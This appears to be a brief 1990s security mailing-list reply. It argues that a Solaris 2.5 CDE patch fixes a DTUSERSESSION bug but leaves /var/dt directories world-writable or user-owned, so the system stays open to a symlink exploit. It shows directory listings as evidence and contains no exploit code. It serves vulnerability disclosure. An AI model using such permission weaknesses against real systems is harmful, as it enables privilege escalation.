        I'm afraid that's not enough: it fixes the DTUSERSESSION
        bug; but it doesn't fixes directory permisions.

        In a Solaris 2.5 sparc box, with patch 104497-02
        you have:

drwxrwxrwx   4 root     root        1536 Feb 25 19:46 /var/dt
drwxrwxrwx   3 bin      bin          512 Jan 20  1997 /var/dt/appconfig
drwxr-xr-x   4 elias    robot        512 Oct  6 14:42 /var/dt/tmp
               ^^^^^ this is a normal non-admin account; sometimes
                           the CDE login sessions changes it.

        so, it's still vulnerable to the link exploit

        (but yes, this is not a problem in 2.6, I don't know about 2.5.1)
